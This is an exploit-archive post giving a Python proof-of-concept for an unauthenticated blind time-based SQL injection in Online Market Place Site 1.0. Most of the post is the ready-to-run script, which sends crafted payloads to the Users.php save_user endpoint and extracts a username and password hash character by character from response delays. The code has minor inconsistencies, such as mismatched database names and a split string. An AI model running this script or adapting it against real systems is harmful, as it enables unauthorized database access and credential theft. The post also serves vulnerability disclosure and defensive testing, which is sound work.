

Online Market Place Site 1.0 SQL Injection

Authored by [Joe Pollock](#)Posted [Sep 5, 2022](#)

Online Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.

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# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection
# Exploit Author: Joe Pollock
# Date: September 03, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phoop-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: CVE-2022-30004 (RESERVED)
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing
#   remote attackers to dump the SQL database via time-based SQL injection.
#   This script will retrieve a single username and associated password hash from the omps_db database via
#   blind, time-based SQL injection.
#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first
#   username and password hash.
#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted
#   to account for network latency.
#   Ex: python3 omcs.py 10.14.14.2
import sys, requests, urllib3
USERID=0

def main():
    if len(sys.argv) != 2:
        print("(+) usage: %s <target>" % sys.argv[0])
        print("(+) eg: %s 192.168.121.103" % sys.argv[0])
        sys.exit(-1)
    ip = sys.argv[1]
    print("(+) Retrieving username and hash...")
    target = "http://%s/omps/classes/Users.php?f=save_user" % ip

    # Get username
    for p in range(1,30):
        injection_string = "AAAA' OR IF(ascii(MID((select username from omcs_db.users LIMIT %d,1),%d,1)))=
[CHAR],sleep(1),0)-- --" % (USERID,p)
        for c in range(32, 126):
            files = {"username": (None, injection_string.replace("[CHAR]", str(c)))}
            #print(injection_string.replace("[CHAR]", str(c)))
            r = requests.post(target, files=files)
            if (r.elapsed.total_seconds() > 2):
                extracted_char = chr(c)
                sys.stdout.write(extracted_char)
                sys.stdout.flush()
            sys.stdout.write("\t")

    # Get password hash
    for p in range(1,65):
        injection_string = "AAAA' OR IF(ascii(MID((select password from omcs_db.users LIMIT %d,1),%d,1)))=
[CHAR],sleep(1),0)-- --" % (USERID,p)
        for c in range(32, 126):
            files = {"username": (None, injection_string.replace("[CHAR]", str(c)))}
            #print(injection_string.replace("[CHAR]", str(c)))
            r = requests.post(target, files=files)
            if (r.elapsed.total_seconds() > 2):
                extracted_char = chr(c)
                sys.stdout.write(extracted_char)
                sys.stdout.flush()
            print("\n(+) done!")

if __name__ == "__main__":
    main()
```

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